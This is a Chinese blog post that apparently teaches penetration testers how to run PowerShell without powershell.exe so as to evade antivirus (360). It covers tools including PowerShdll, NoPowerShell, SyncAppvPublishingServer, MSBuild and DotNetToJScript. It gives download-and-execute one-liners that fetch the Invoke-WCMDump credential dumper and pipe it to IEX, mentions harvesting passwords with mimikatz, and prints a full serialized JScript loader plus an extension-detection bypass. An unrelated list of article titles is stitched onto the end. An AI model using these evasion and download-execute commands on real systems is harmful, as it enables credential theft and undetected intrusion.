原创: lengyi 合天智汇

今天给大家带来的是,无powershell运行powershell的一些姿势的分享,由于powershell的特性,使得它很受渗透测试爱好者的喜爱,当然也催生了像ASMI之类的防御手段,当然各类杀软也是把它纳入了查杀行列中,比如某套装,只要你调用PS就会查杀,着实恶心。

所以我们在与AV的对抗中也会想法设法的去bypass来执行PS,这里我便总结了几种无powershell执行powershell的姿势,希望能在实战的时候帮到大家。

下面是总结的列表:

  • PowerLine
  • PowerShdll
  • Nopowershell
  • SyncAppvPublishingServer
  • 调用MSBuild.exe
  • 调用cscript

下面的实验如无特殊说明,均在windows server 2008 sp2 + 360最新版下进行

PowerLine

PowerLine是一款由c#编写的工具,支持本地命令行调用和远程调用,可以在不直接调用PowerShell的情况下调用PowerShell脚本,优点如下:

  • 自动识别win7、win10系统
  • 使用方便,无需复杂的ide
  • 自动xor编码

下载地址:

https://github.com/fullmetalcache/PowerLine

我们来看一下它的使用方法:

首先拉取项目到本地,然后运行build.bat文件

然后在UserConf.xml文件中填写你所需要调用的powershell脚本的地址,默认自带powerup、powerview、Mimikatz等,只要按照他给定的格式加入你的ps脚本地址即可

加入完成以后,运行PLBuilder.exe进行构建,构建过程中,360无提示

查看内置的脚本PowerLine.exe -ShowScripts

运行脚本,360无提示

但是在运行之后,360提示了报毒,并删掉了我的exe文件...一般AV只是检测PS发出的恶意请求,但由于在powerline中,请求是由powerline发出的,便绕过了一部分AV,但是缺点也是很明显,就是可扩展性太差,所有的功能依赖于配置文件...

PowerShdll

这个工具主要使用dll去运行powershell而不需要去连接powershell.exe,所以具有一定的bypassAV能力,当然它也可以在这几个程序下运行rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe或者使用作者给出的单独的exe进行执行

下载地址:

https://github.com/p3nt4/PowerShdll.git

exe版使用方法:

使用PowerShdll -i进入到交互模式,此时便获得了一个交互式的PS环境,可执行任意的powershell命令,整个过程360无拦截

下载mimikatz抓取密码,360全程无反应...

在交互式模式下唯一要注意的就是,你输入的内容不能过长,否则会出现问题,原因未可知....

我们再来看一下dll版的用法..

rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;

这次没有那么好运了,直接被360杀了

Nopowershell

NoPowerShell是用C#实现的工具,它支持执行类似PowerShell的命令,同时对任何PowerShell日志记录机制都不可见。同时也提供了CS下的cna脚本。

优点:

  • 执行隐秘
  • 功能强大
  • 扩展简单
  • 即使不熟悉PS命令也可以使用cmd命令来代替PS命令,例如(使用ping来代替Test-NetConnection)

下载地址:

https://github.com/bitsadmin/nopowershell.git

我们来看一下它的用法:

直接运行便会输出它的版本和支持的命令

过程360无拦截

而dll版被秒杀..

cs下稳定..

这里要注意一点的是,脚本默认调用scripts下的文件,国内的cs大多为script目录,自行修改文件内的目录即可。

了解了相关的知识,我们在实操中是怎么运用呢?登录合天网安实验室寻找答案。

相关实验:CobaltStrike之代理和powershell

http://www.hetianlab.com/expc.do?ec=ECID9d86-e94a-4c2f-ae12-ab36f212551b

SyncAppvPublishingServer

SyncAppvPublishingServer是win10自带的服务,有vbs和exe两个版本,我们可以使用他们来做一些类似PS的操作

默认存放在C:WindowsSystem32下面

用法实例:

弹计算机:

C:WindowsSystem32SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”

或者:

C:WindowsSystem32SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"

你也可以去远程下载执行一些ps脚本就像下面这样:

C:WindowsSystem32SyncAppvPublishingServer.exe " Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"

调用MSBuild.exe:

MSBuild是.Net框架中包含的工具,用于自动化创建软件产品的过程,包括编译源代码,打包,测试,部署和创建文档。

Msbuild依赖于.csproj文件,该文件具有XML语法,包含了.NET构建过程中的结果,类似于unix中的make,代码如下:

 outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); }}]]>< / Code>

test.ps1的内容如下

echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable

效果:

全程360无提示..

github上也有类似的项目:https://github.com/Cn33liz/MSBuildShell.git

执行完之后获得一个交互式的PS

调用cscript:

github上有一个开源的项目https://github.com/tyranid/DotNetToJScript,可以直接生产一个.js的文件,用法是

Dotnettojscript.exe  > testps.js

现在作者给出来编译好的版本,但是里面总是有一些问题总是提示:

Error: loading assembly information.The generated script might not work correctly

所以我们下载下来,进行手动编译..

首先使用vs打开项目,然后切换到TestClass.cs,并注释掉MessageBox这个方法,不然每次运行都会得到一个messageBox

然后,因为需要调用PS,所以我们需要引入”System.Management.Automation.Runspaces”,“ System.Management.Automation“,我们可以在PS下使用下面的命令进行查询该dll的位置,然后手动引入

[psobject].Assembly.Location

引入之后,并且在TestClass中加入以下方法:

private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}

编译完得到Dotnettojscript.exe、ExampleAssembly.dll两个文件,然后我们继续将我们的test.ps1文件进行生成一个js文件,

其内容如下:

function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;}var serialized_obj = "AAEAAAD/AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+"ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz"+"cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA"+"AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0"+"ZVtdKQgAAAAKCwAA";var entry_class = 'TestClass';try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);} catch (e) { debug(e.message);}解密后的主要逻辑如下:var entry_class = 'TestClass';try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');var al = new ActiveXObject('System.Collections.ArrayList');var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:estest.ps1");} catch (e) {debug(e.message);}

运行结果:

当然你也可以用下面的方法如绕过对JS后缀的检测

cscript //e:jscript testps.txt

但是360无情的杀死了我们....

写在后面:

本文仅对网上常见的无PS运行PS的手段进行了总结,实验过程大家也可以看的出来,是可以bypass一些AV的,也是各有各的优缺点,最好是针对不同的AV去找出它的拦截规则,然后再进行对于的bypass操作。

参考文章:

https://www.slideshare.net/dafthack/pwning-the-enterprise-with-powershell

https://www.slideshare.net/dafthack/red-team-apocalypse-rvasec-edition

https://pentestn00b.wordpress.com/2017/03/20/simple-bypass-for-powershell-constrained-language-mode/

https://www.youtube.com/watch?v=7tvfb9poTKg&feature=youtu.be

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

bat运行exe 自动确认_无powershell运行powershell方法总结相关推荐

  1. 安卓工控主板运行时会自动重启_工控机日常维护的方法与步骤

    工控机维修是一项理论知识.实践经验与操作水平的结合的工作,其技术水平决定着工控机维修质量.从事工控机维修的人员需要经常学习,了解工控机内部的电子元器件所具备的功能和特点,及各种软件和系统重装设置要求, ...

  2. mcinabox运行库下载安装_手机mcinabox运行库安装包下载-mcinabox运行库文件手机版下载v1.0_289手游网...

    mcinabox运行库文件手机版是一个java版本我的世界运行的必备软件,很多手机版的用户不知道怎么下载,289这里为大家提供了mcinabox运行库文件手机版,下载后一键安装即可轻松完成,快速运行, ...

  3. 恒源云(GpuShare)_无监督的QG方法

    文章来源 | 恒源云社区 原文地址 | 通过摘要信息问题生成改进无监督问答 原文作者 | Mathor 上海于昨日宣布要开始在全市范围内开展新一轮切块式.网格化核酸筛查![恒源云]云墩墩☁️ 提醒小伙 ...

  4. 安卓工控主板运行时会自动重启_工控主板在工业自动化中的应用

    原标题:工控主板在工业自动化中的应用 大家都知道随着科技的发展对于工控主板的用途和应用大大超出了工业自动化的范围,而对于本文联智通达小编将仅坚持工业自动化范围内的应用.首先跟随联智通达小编看一下制造以 ...

  5. 驱动级的自动按键_空调遥控器特殊按键使用方法及注意事项

    在上门维修过程中,用户常常由于遥控器使用不当,或者幵启了特定按键引起空调器的假性故障,这时需要进行电话解答或上门讲解,现对空调遥控器的特殊功能按键作简单介绍. 示例遥控器型号为格力YAD0F,与KFR ...

  6. 可以编译运行python的软件_能够编译运行python的软件有哪些

    能够运行编译python的软件有哪些?这里罗列了9种常用的软件: 1.Vim Vim 可以说是 Python 最好的 IDE.Vim 是高级文本编辑器,旨在提供实际的 Unix 编辑器'Vi'功能,支 ...

  7. python保存运行结果下次使用_将python运行结果保存至本地文件中的示例讲解

    一.建立文件,保存数据 1.使用python中内置的open函数 打开txt文件 #mode 模式 #w 只能操作写入 r 只能读取 a 向文件追加 #w+ 可读可写 r+可读可写 a+可读可追加 # ...

  8. java运行构建期间出错_构建和运行Java 8支持

    java运行构建期间出错 尚未提供对Java 8的Eclipse支持. 如果要使用它,则必须构建它. Eclipsepedia的JDT Core / Java8页面包含有关使用Eclipse Java ...

  9. python同时运行多个程序_如何同时运行两个python循环?

    你想要什么有很多可能的选择: 使用循环 正如许多人指出的,这是最简单的方法.for i in xrange(10000): # use xrange instead of range taskA() ...

最新文章

  1. 关于VC++控制台输出中文乱码的问题
  2. anaconda3下opencv安装
  3. 全球及中国硝基复合肥市场产销状况与未来运营前景分析报告2022版
  4. 关于spring boot集成MQTT的一写新人问题
  5. 【原创】大叔经验分享(33)hive select count为0
  6. Python中is和==有什么区别?
  7. JVM调优系列:(二)JVM运行时数据区域
  8. 导出Oracle数据库用户Procedure和Function为文本文件的小工具
  9. win7-安装phantomjs,并添加环境变量。
  10. BZOJ2809-左偏树合并
  11. 【译】区块链是如何工作的——用JavaScript演示
  12. 2月10日 感知器+浅层神经网络+反向传播+tensorflow
  13. Linux界面介绍及基础知识
  14. java常用工具类封装
  15. Linux下查看日志常用命令
  16. php快递按选择次数排序,php快递接口查询api 不限制次数
  17. Windows 8如何关闭自动维护_-Chaz-_新浪博客
  18. “eclipse”出现异常,“install new software”工具 无法使用,提示“Operation cannot be completed”错误的解决方案。
  19. 塔塔露也能看懂的服务器配置pytorch,TensorFlow教程
  20. android view.isshown,android View.isShown() 和 getVisibility() 的区别

热门文章

  1. 设备驱动模型与sysfs
  2. Mac安装jadx查看dex文件
  3. Ubuntu 14.04报错: error while loading shared libraries libc++.so cannot open shared object file解决
  4. ffmpeg (四):ffmpeg, ffplay, ffprobe用法
  5. Android内核开发:浅析APK的安装过程
  6. windows bat脚本实现快速配置JDK 环境变量
  7. Android Studio实现一个新闻APP
  8. 在linux系统中下载thchs30,aishell数据处理为thchs30格式
  9. cli php 增强包_Linux 上安装 PHP 扩展
  10. python 查找excel内容所在的单元格_使用Python查找Excel单元格引用